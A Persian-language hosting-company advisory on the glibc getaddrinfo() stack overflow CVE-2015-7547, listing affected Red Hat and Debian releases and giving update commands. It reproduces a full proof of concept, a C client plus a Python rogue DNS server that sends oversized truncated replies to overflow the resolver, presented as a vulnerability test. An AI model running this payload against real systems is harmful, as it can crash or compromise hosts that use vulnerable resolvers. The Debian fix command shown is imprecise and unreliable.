آسیب پذیری امنیتی جدید در کتابخانه glibc
دیروز یک آسیب پذیری امنیتی سطح بالا (critical) از کتابخانه glibc موجود در اکثر توزیع های رایج لینوکسی توسط محققین امنیتی شرکت گوگل کشف شد.
glibc کتابخانه های استاندارد C مثل libc و libm و … را فراهم می کند که استفاده بسیار گسترده ای در سرورها و سیستم عامل لینوکس دارند.
این آسیب پذیری که CVE-2015-7547 را به خود اختصاص داده در تابع getaddrinfo() کشف شده است و به هکر اجازه می دهد یک حمله ی stack-based buffer overflow را به صورت local و یا حتی remote به اجرا بگذارد. مسئله مهمی که اهمیت بالای این آسیب پذیری را نشان می دهد گستردگی استفاده از این تابع آسیب پذیر در برنامه های سیستمی و نرم افزارهای سروری هست. برای مثال از سرویس هایی که در حال حاضر آسیب پذیر هستند می توان به bind اشاره کرد که در اکثر سرورهای هاستینگ به عنوان dns server استفاده می شود.
توزیع ها و نسخه های آسیب پذیر:
در حال حاضر نسخه های برپایه RedHat در ورژن های ۳-۴-۵ آسیب پیذیر نیستند. طبق اعلام سایت redhat نسخه های زیر آسیب پذیرند:
Platform | Errata | Release Date |
---|---|---|
Red Hat Enterprise Linux Server EUS (v. 6.6) (glibc) | RHSA-2016:0225 | ۲۰۱۶-۰۲-۱۶ |
Red Hat Enterprise Linux Server AUS (v. 6.4) (glibc) | RHSA-2016:0225 | ۲۰۱۶-۰۲-۱۶ |
Red Hat Enterprise Linux Server AUS (v. 6.5) (glibc) | RHSA-2016:0225 | ۲۰۱۶-۰۲-۱۶ |
Red Hat Enterprise Linux version 7 (glibc) | RHSA-2016:0176 | ۲۰۱۶-۰۲-۱۶ |
Red Hat Enterprise Linux Server EUS (v. 7.1) (glibc) | RHSA-2016:0225 | ۲۰۱۶-۰۲-۱۶ |
Red Hat Enterprise Linux Server AUS (v. 6.2) (glibc) | RHSA-2016:0225 | ۲۰۱۶-۰۲-۱۶ |
Red Hat Enterprise Linux version 6 (glibc) | RHSA-2016:0175 | ۲۰۱۶-۰۲-۱۶ |
Platform | Package | State |
---|---|---|
Red Hat Enterprise Linux 3 | glibc | Not affected |
Red Hat Enterprise Linux 5 | glibc | Not affected |
Red Hat Enterprise Linux 4 | glibc | Not affected |
نسخه های آسیب پذیر بر پایه Debian را در جدول زیر مشاهده می کنید:
Source Package | Release | Version | Status |
---|---|---|---|
eglibc (PTS) | squeeze | ۲٫۱۱٫۳-۴ | vulnerable |
squeeze (lts) | ۲٫۱۱٫۳-۴+deb6u11 | fixed | |
wheezy | ۲٫۱۳-۳۸+deb7u8 | vulnerable | |
wheezy (security) | ۲٫۱۳-۳۸+deb7u10 | fixed | |
glibc (PTS) | jessie | ۲٫۱۹-۱۸+deb8u2 | vulnerable |
jessie (security) | ۲٫۱۹-۱۸+deb8u3 | fixed | |
stretch | ۲٫۲۱-۸ | fixed | |
sid | ۲٫۲۱-۹ | fixed |
Package | Type | Release | Fixed Version | Urgency | Origin | Debian Bugs |
---|---|---|---|---|---|---|
eglibc | source | (unstable) | (unfixed) | |||
eglibc | source | squeeze | ۲٫۱۱٫۳-۴+deb6u11 | DLA-416-1 | ||
eglibc | source | wheezy | ۲٫۱۳-۳۸+deb7u10 | DSA-3480-1 | ||
glibc | source | (unstable) | ۲٫۲۱-۸ | |||
glibc | source | jessie | ۲٫۱۹-۱۸+deb8u3 | DSA-3481-1 |
تست آسیب پذیری:
جهت تست آسیب پذیری یکی از دو کد تستی که در پایین ذکر خواهد شد را اجرا کنید تا از آسیب پذیر بودن کتابخانه glibc سرور خود مطمئن شوید.
C:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | #include <sys/types.h> #include <sys/socket.h> #include <netdb.h> #include <err.h> #include <stdio.h> #include <string.h> int main(void) { struct addrinfo hints, *res; int r; memset(&hints, 0, sizeof(hints)); hints.ai_socktype = SOCK_STREAM; if ((r = getaddrinfo("foo.bar.google.com", "22", &hints, &res)) != 0) errx(1, "getaddrinfo: %s", gai_strerror(r)); return 0; } |
Python:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 | #!/usr/bin/python import socket import time import struct import threading IP = '127.0.0.1' # Insert your ip for bind() here... ANSWERS1 = 184 terminate = False last_reply = None reply_now = threading.Event() def dw(x): return struct.pack('>H', x) def dd(x): return struct.pack('>I', x) def dl(x): return struct.pack('<Q', x) def db(x): return chr(x) def udp_thread(): global terminate # Handle UDP requests sock_udp = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock_udp.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock_udp.bind((IP, 53)) reply_counter = 0 counter = -1 answers = [] while not terminate: data, addr = sock_udp.recvfrom(1024) print '[UDP] Total Data len recv ' + str(len(data)) id_udp = struct.unpack('>H', data[0:2])[0] query_udp = data[12:] # Send truncated flag... so it retries over TCP data = dw(id_udp) # id data += dw(0x8380) # flags with truncated set data += dw(1) # questions data += dw(0) # answers data += dw(0) # authoritative data += dw(0) # additional data += query_udp # question data += '\x00' * 2500 # Need a long DNS response to force malloc answers.append((data, addr)) if len(answers) != 2: continue counter += 1 if counter % 4 == 2: answers = answers[::-1] time.sleep(0.01) sock_udp.sendto(*answers.pop(0)) reply_now.wait() sock_udp.sendto(*answers.pop(0)) sock_udp.close() def tcp_thread(): global terminate counter = -1 #Open TCP socket sock_tcp = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock_tcp.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock_tcp.bind((IP, 53)) sock_tcp.listen(10) while not terminate: conn, addr = sock_tcp.accept() counter += 1 print 'Connected with ' + addr[0] + ':' + str(addr[1]) # Read entire packet data = conn.recv(1024) print '[TCP] Total Data len recv ' + str(len(data)) reqlen1 = socket.ntohs(struct.unpack('H', data[0:2])[0]) print '[TCP] Request1 len recv ' + str(reqlen1) data1 = data[2:2+reqlen1] id1 = struct.unpack('>H', data1[0:2])[0] query1 = data[12:] # Do we have an extra request? data2 = None if len(data) > 2+reqlen1: reqlen2 = socket.ntohs(struct.unpack('H', data[2+reqlen1:2+reqlen1+2])[0]) print '[TCP] Request2 len recv ' + str(reqlen2) data2 = data[2+reqlen1+2:2+reqlen1+2+reqlen2] id2 = struct.unpack('>H', data2[0:2])[0] query2 = data2[12:] # Reply them on different packets data = '' data += dw(id1) # id data += dw(0x8180) # flags data += dw(1) # questions data += dw(ANSWERS1) # answers data += dw(0) # authoritative data += dw(0) # additional data += query1 # question for i in range(ANSWERS1): answer = dw(0xc00c) # name compressed answer += dw(1) # type A answer += dw(1) # class answer += dd(13) # ttl answer += dw(4) # data length answer += 'D' * 4 # data data += answer data1_reply = dw(len(data)) + data if data2: data = '' data += dw(id2) data += 'B' * (2300) data2_reply = dw(len(data)) + data else: data2_reply = None reply_now.set() time.sleep(0.01) conn.sendall(data1_reply) time.sleep(0.01) if data2: conn.sendall(data2_reply) reply_now.clear() sock_tcp.shutdown(socket.SHUT_RDWR) sock_tcp.close() if __name__ == "__main__": t = threading.Thread(target=udp_thread) t.daemon = True t.start() tcp_thread() terminate = True |
کدهای بالا را در فایل glibc-test.c و glibc-test.py ذخیره کنید. جهت کامپایل کد c از دستورات زیر اجرا کنید:
1 2 3 | gcc -o glibc-test glibc-test.c chmod +x glibc-test ./glibc-test |
جهت تفسیر و اجرای کد python از دستور زیر استفاده کنید:
1 | python glibc-test.py |
رفع آسیب پذیری:
برای رفع آسیب پذیری در توزیع های مبتنی بر RedHat (Fedora, CentOS, CloudLinux,…) از دستور زیر استفاده کنید:
1 | yum update glibc |
رفع آسیب پذیری در توزیع های میبتنی بر Debian:
1 | apt-get upgrade glibc |
پس از برطرف کردن آسیب پذیری باید بسیاری از سرویس ها را restart کنید تا از نسخه ی اطلاح شده کتابخانه استفاده کنند البته در صورتی که میزان بالای آپتایم برای شما زیاد مهم نیست می توانید از ریبوت استفاده کنید.
در حال حاضر مشکل امنیتی مربوطه در تمامی سرورهای میزبان آنلاین برطرف شده است. کاربران سرویس های مدیریت سرور میزبان آنلاین نیازی به انجام کار خاصی ندارند و مشکل مربوطه توسط متخصصین ما در سرورهای شما برطرف شده است. همچنین تمامی مشتریان کانفیگ سرور امروز ایمیلی دریافت کرده اند که در صورت تمایل دسترسی های لازم را برای پشتیبانی فنی ارسال کنید تا به صورت رایگان مورد مربوطه را بررسی کنیم.
جهت رفع آسیب پذیری و بررسی مشکلات امنیتی, بهینه سازی سرویس ها و کانفیگ های مورد نیاز از طریق لینک زیر و یا ایمیل با تیم پشتیبانی فنی میزبان آنلاین در ارتباط باشید:
http://my.mizbanonline.com/submitticket.php?step=2&deptid=1